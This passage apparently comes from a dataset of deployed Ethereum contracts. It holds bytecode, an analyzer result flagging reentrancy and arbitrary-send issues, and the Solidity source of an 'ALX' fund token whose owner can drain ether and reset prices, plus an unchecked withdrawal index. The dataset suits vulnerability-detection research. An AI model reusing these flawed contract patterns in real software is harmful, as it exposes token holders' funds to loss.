160a01b038088166000908152600260205260408082209390935590871681522054611af3908390611f43565b6001600160a01b038616600090815260026020526040902055611b1581611b9e565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5a91815260200190565b60405180910390a3505050505050565b600080806064611b7a8587611f5b565b611b849190611f7a565b90506000611b928287611e60565b96919550909350505050565b30600090815260026020526040902054611bb9908290611f43565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bf957858101830151858201604001528201611bdd565b81811115611c0b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3557600080fd5b8035611c4181611c21565b919050565b600060208284031215611c5857600080fd5b8135611a8681611c21565b60008060408385031215611c7657600080fd5b8235611c8181611c21565b946020939093013593505050565b60008060408385031215611ca257600080fd5b50508035926020909101359150565b600080600060608486031215611cc657600080fd5b8335611cd181611c21565b92506020840135611ce181611c21565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1b57600080fd5b823567ffffffffffffffff80821115611d3357600080fd5b818501915085601f830112611d4757600080fd5b813581811115611d5957611d59611cf2565b8060051b604051601f19603f83011681018181108582111715611d7e57611d7e611cf2565b604052918252848201925083810185019188831115611d9c57600080fd5b938501935b82851015611dc157611db285611c36565b84529385019392850192611da1565b98975050505050505050565b600060208284031215611ddf57600080fd5b5035919050565b8015158114610a3557600080fd5b600060208284031215611e0657600080fd5b8135611a8681611de6565b60008060408385031215611e2457600080fd5b8235611e2f81611c21565b91506020830135611e3f81611c21565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e7257611e72611e4a565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e9f57611e9f611e4a565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611eed57600080fd5b8151611a8681611c21565b600080600060608486031215611f0d57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f3857600080fd5b8151611a8681611de6565b60008219821115611f5657611f56611e4a565b500190565b6000816000190483118215151615611f7557611f75611e4a565b500290565b600082611f9757634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fec5784516001600160a01b031683529383019391830191600101611fc7565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212209740342ddc1e562f07b09cab275145f64e21b4b90ab67759180b22865084729f64736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,682 |
0x67a05bec35f411daea826f16ba0cf3ab7843b7e7 | pragma solidity ^0.4.24;
/*
Copyright 2018, Vicent Nos
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
//////////////////////////////////////////////////////////////
// //
// Alt Index, Open End Crypto Fund ERC20 //
// //
//////////////////////////////////////////////////////////////
contract ALXERC20 is Ownable {
using SafeMath for uint256;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => mapping (uint256 => timeHold)) internal requestWithdraws;
struct timeHold{
uint256[] amount;
uint256[] time;
uint256 length;
}
function requestOfAmount(address addr, uint256 n) public view returns(uint256){
return requestWithdraws[addr][n].amount[0];
}
function requestOfTime(address addr, uint256 n) public view returns(uint256){
return requestWithdraws[addr][n].time[0];
}
uint256 public roundCounter=0;
/* Public variables for the ERC20 token */
string public constant standard = "ERC20 ALX";
uint8 public constant decimals = 8; // hardcoded to be a constant
uint256 public totalSupply;
string public name;
string public symbol;
uint256 public transactionFee = 1;
uint256 public icoEnd=0;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function setTransactionFee(uint256 _value) public onlyOwner{
transactionFee=_value;
}
function setIcoEnd(uint256 _value) public onlyOwner{
icoEnd=_value;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp>icoEnd);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
uint256 fee=(_value*transactionFee)/1000;
delete requestWithdraws[msg.sender][roundCounter];
balances[_to] = balances[_to].add(_value-fee);
balances[owner]=balances[owner].add(fee);
emit Transfer(msg.sender, _to, _value-fee);
emit Transfer(msg.sender, owner, fee);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp>icoEnd);
balances[_from] = balances[_from].sub(_value);
uint256 fee=(_value*transactionFee)/1000;
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
delete requestWithdraws[msg.sender][roundCounter];
delete requestWithdraws[_from][roundCounter];
balances[_to] = balances[_to].add(_value-fee);
balances[owner]=balances[owner].add(fee);
emit Transfer(_from, _to, _value-fee);
emit Transfer(_from, owner, fee);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/* Approve and then communicate the approved contract in a single tx */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external ;
}
contract ALX is ALXERC20 {
// Contract variables and constants
uint256 public tokenPrice = 30000000000000000;
uint256 public tokenAmount=0;
// constant to simplify conversion of token amounts into integer form
uint256 public tokenUnit = uint256(10)**decimals;
uint256 public holdTime;
uint256 public holdMax;
uint256 public maxSupply;
//Declare logging events
event LogDeposit(address sender, uint amount);
uint256 public withdrawFee = 1;
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor (
uint256 initialSupply,
string contractName,
string tokenSymbol,
uint256 contractHoldTime,
uint256 contractHoldMax,
address contractOwner
) public {
totalSupply = initialSupply; // Update total supply
name = contractName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
holdTime=contractHoldTime;
holdMax=contractHoldMax;
owner=contractOwner;
balances[contractOwner]= balances[contractOwner].add(totalSupply);
}
function () public payable {
buy(); // Allow to buy tokens sending ether directly to contract
}
function deposit() external payable onlyOwner returns(bool success) {
// Check for overflows;
//executes event to reflect the changes
emit LogDeposit(msg.sender, msg.value);
return true;
}
function setWithdrawFee(uint256 _value) public onlyOwner{
withdrawFee=_value;
}
function withdrawReward() external {
uint i = 0;
uint256 ethAmount = 0;
uint256 tokenM=0;
if (block.timestamp - requestWithdraws[msg.sender][roundCounter].time[i] > holdTime && block.timestamp - requestWithdraws[msg.sender][roundCounter].time[i] < holdMax){
ethAmount += tokenPrice * requestWithdraws[msg.sender][roundCounter].amount[i];
tokenM +=requestWithdraws[msg.sender][roundCounter].amount[i];
}
ethAmount=ethAmount/tokenUnit;
require(ethAmount > 0);
emit LogWithdrawal(msg.sender, ethAmount);
totalSupply = totalSupply.sub(tokenM);
delete requestWithdraws[msg.sender][roundCounter];
uint256 fee=ethAmount*withdrawFee/1000;
balances[msg.sender] = balances[msg.sender].sub(tokenM);
msg.sender.transfer(ethAmount-fee);
owner.transfer(fee);
}
function withdraw(uint256 amount) public onlyOwner{
msg.sender.transfer(amount);
}
function setPrice(uint256 _value) public onlyOwner{
tokenPrice=_value;
roundCounter++;
}
event LogWithdrawal(address receiver, uint amount);
function requestWithdraw(uint256 value) public {
require(value <= balances[msg.sender]);
delete requestWithdraws[msg.sender][roundCounter];
requestWithdraws[msg.sender][roundCounter].amount.push(value);
requestWithdraws[msg.sender][roundCounter].time.push(block.timestamp);
requestWithdraws[msg.sender][roundCounter].length++;
//executes event ro register the changes
}
uint256 public minPrice=250000000000000000;
function setMinPrice(uint256 value) public onlyOwner{
minPrice=value;
}
function buy() public payable {
require(msg.value>=minPrice);
tokenAmount = (msg.value * tokenUnit) / tokenPrice ; // calculates the amount
transferBuy(msg.sender, tokenAmount);
owner.transfer(msg.value);
}
function transferBuy(address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
// SafeMath.add will throw if there is not enough balance.
totalSupply = totalSupply.add(_value);
uint256 teamAmount=_value*100/1000;
totalSupply = totalSupply.add(teamAmount);
balances[_to] = balances[_to].add(_value);
balances[owner] = balances[owner].add(teamAmount);
emit Transfer(this, _to, _value);
emit Transfer(this, owner, teamAmount);
return true;
}
} | 0x6080604052600436106101e3576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806303078416146101ed5780630563451a1461024e57806306fdde0314610279578063095ea7b314610309578063096a8ab71461036e578063097d51551461039b57806318160ddd146103c657806323b872dd146103f157806323e7a9001461047657806327e235e3146104a35780632e1a7d4d146104fa578063313ce567146105275780635a3b7e42146105585780635ea8cd12146105e8578063661884631461061557806370a082311461067a578063745400c9146106d15780637ff9b596146106fe5780638da5cb5b1461072957806391b7f5ed1461078057806395d89b41146107ad5780639ed3edf01461083d5780639f569ab414610868578063a6f2ae3a146108c9578063a9059cbb146108d3578063b6ac642a14610938578063c885bc5814610965578063cae9ca511461097c578063d0e30db014610a27578063d5abeb0114610a49578063d73dd62314610a74578063dd62ed3e14610ad9578063dea8905614610b50578063e45be8eb14610b7b578063e93c980d14610ba6578063e941fa7814610bd1578063eec7faa114610bfc578063f2fde38b14610c27578063febc14b114610c6a575b6101eb610c95565b005b3480156101f957600080fd5b50610238600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d35565b6040518082815260200191505060405180910390f35b34801561025a57600080fd5b50610263610dab565b6040518082815260200191505060405180910390f35b34801561028557600080fd5b5061028e610db1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ce5780820151818401526020810190506102b3565b50505050905090810190601f1680156102fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561031557600080fd5b50610354600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e4f565b604051808215151515815260200191505060405180910390f35b34801561037a57600080fd5b5061039960048036038101908080359060200190929190505050610f41565b005b3480156103a757600080fd5b506103b0610fa6565b6040518082815260200191505060405180910390f35b3480156103d257600080fd5b506103db610fac565b6040518082815260200191505060405180910390f35b3480156103fd57600080fd5b5061045c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fb2565b604051808215151515815260200191505060405180910390f35b34801561048257600080fd5b506104a1600480360381019080803590602001909291905050506115f3565b005b3480156104af57600080fd5b506104e4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611658565b6040518082815260200191505060405180910390f35b34801561050657600080fd5b5061052560048036038101908080359060200190929190505050611670565b005b34801561053357600080fd5b5061053c611715565b604051808260ff1660ff16815260200191505060405180910390f35b34801561056457600080fd5b5061056d61171a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ad578082015181840152602081019050610592565b50505050905090810190601f1680156105da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105f457600080fd5b5061061360048036038101908080359060200190929190505050611753565b005b34801561062157600080fd5b50610660600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117b8565b604051808215151515815260200191505060405180910390f35b34801561068657600080fd5b506106bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a49565b6040518082815260200191505060405180910390f35b3480156106dd57600080fd5b506106fc60048036038101908080359060200190929190505050611a92565b005b34801561070a57600080fd5b50610713611cc3565b6040518082815260200191505060405180910390f35b34801561073557600080fd5b5061073e611cc9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561078c57600080fd5b506107ab60048036038101908080359060200190929190505050611cee565b005b3480156107b957600080fd5b506107c2611d65565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108025780820151818401526020810190506107e7565b50505050905090810190601f16801561082f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561084957600080fd5b50610852611e03565b6040518082815260200191505060405180910390f35b34801561087457600080fd5b506108b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e09565b6040518082815260200191505060405180910390f35b6108d1610c95565b005b3480156108df57600080fd5b5061091e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e7f565b604051808215151515815260200191505060405180910390f35b34801561094457600080fd5b50610963600480360381019080803590602001909291905050506122a8565b005b34801561097157600080fd5b5061097a61230d565b005b34801561098857600080fd5b50610a0d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061277b565b604051808215151515815260200191505060405180910390f35b610a2f6128fe565b604051808215151515815260200191505060405180910390f35b348015610a5557600080fd5b50610a5e6129cd565b6040518082815260200191505060405180910390f35b348015610a8057600080fd5b50610abf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506129d3565b604051808215151515815260200191505060405180910390f35b348015610ae557600080fd5b50610b3a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612bcf565b6040518082815260200191505060405180910390f35b348015610b5c57600080fd5b50610b65612c56565b6040518082815260200191505060405180910390f35b348015610b8757600080fd5b50610b90612c5c565b6040518082815260200191505060405180910390f35b348015610bb257600080fd5b50610bbb612c62565b6040518082815260200191505060405180910390f35b348015610bdd57600080fd5b50610be6612c68565b6040518082815260200191505060405180910390f35b348015610c0857600080fd5b50610c11612c6e565b6040518082815260200191505060405180910390f35b348015610c3357600080fd5b50610c68600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c74565b005b348015610c7657600080fd5b50610c7f612dc9565b6040518082815260200191505060405180910390f35b6011543410151515610ca657600080fd5b600a54600c543402811515610cb757fe5b04600b81905550610cca33600b54612dcf565b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610d32573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000016000815481101515610d9857fe5b9060005260206000200154905092915050565b60095481565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e475780601f10610e1c57610100808354040283529160200191610e47565b820191906000526020600020905b815481529060010190602001808311610e2a57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f9c57600080fd5b8060088190555050565b600d5481565b60055481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610ff157600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561103f57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156110ca57600080fd5b600954421115156110da57600080fd5b61112c83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130b990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506103e8600854840281151561118057fe5b04905061121283600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130b990919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006004548152602001908152602001600020600080820160006112f591906130f0565b60018201600061130591906130f0565b60028201600090555050600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060045481526020019081526020016000206000808201600061137291906130f0565b60018201600061138291906130f0565b600282016000905550506113e0818403600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130d290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061149681600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130d290919063ffffffff16565b600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386036040518082815260200191505060405180910390a36000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561164e57600080fd5b8060098190555050565b60016020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116cb57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611711573d6000803e3d6000fd5b5050565b600881565b6040805190810160405280600981526020017f455243323020414c58000000000000000000000000000000000000000000000081525081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117ae57600080fd5b8060118190555050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156118c9576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061195d565b6118dc83826130b990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611ae057600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600454815260200190815260200160002060008082016000611b4391906130f0565b600182016000611b5391906130f0565b60028201600090555050600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006004548152602001908152602001600020600001819080600181540180825580915050906001820390600052602060002001600090919290919091505550600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006004548152602001908152602001600020600101429080600181540180825580915050906001820390600052602060002001600090919290919091505550600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060045481526020019081526020016000206002016000815480929190600101919050555050565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d4957600080fd5b80600a8190555060046000815480929190600101919050555050565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611dfb5780601f10611dd057610100808354040283529160200191611dfb565b820191906000526020600020905b815481529060010190602001808311611dde57829003601f168201915b505050505081565b60085481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206001016000815481101515611e6c57fe5b9060005260206000200154905092915050565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611ebe57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611f0c57600080fd5b60095442111515611f1c57600080fd5b611f6e83600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130b990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506103e86008548402811515611fc257fe5b049050600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060045481526020019081526020016000206000808201600061202891906130f0565b60018201600061203891906130f0565b60028201600090555050612096818403600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130d290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061214c81600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130d290919063ffffffff16565b600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386036040518082815260200191505060405180910390a36000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561230357600080fd5b8060108190555050565b600080600080600093506000925060009150600d54600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060045481526020019081526020016000206001018581548110151561238457fe5b9060005260206000200154420311801561240d5750600e54600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006004548152602001908152602001600020600101858154811015156123fe57fe5b90600052602060002001544203105b156124f957600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060045481526020019081526020016000206000018481548110151561247457fe5b9060005260206000200154600a540283019250600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006004548152602001908152602001600020600001848154811015156124e957fe5b9060005260206000200154820191505b600c548381151561250657fe5b04925060008311151561251857600080fd5b7fb4214c8c54fc7442f36d3682f59aebaf09358a4431835b30efb29d52cf9e1e913384604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1612598826005546130b990919063ffffffff16565b600581905550600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060045481526020019081526020016000206000808201600061260191906130f0565b60018201600061261191906130f0565b600282016000905550506103e8601054840281151561262c57fe5b04905061268182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130b990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc8285039081150290604051600060405180830381858888f1935050505015801561270c573d6000803e3d6000fd5b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612774573d6000803e3d6000fd5b5050505050565b60008084905061278b8585610e4f565b156128f5578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561288557808201518184015260208101905061286a565b50505050905090810190601f1680156128b25780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156128d457600080fd5b505af11580156128e8573d6000803e3d6000fd5b50505050600191506128f6565b5b509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561295b57600080fd5b7f1b851e1031ef35a238e6c67d0c7991162390df915f70eaf9098dbf0b175a61983334604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001905090565b600f5481565b6000612a6482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020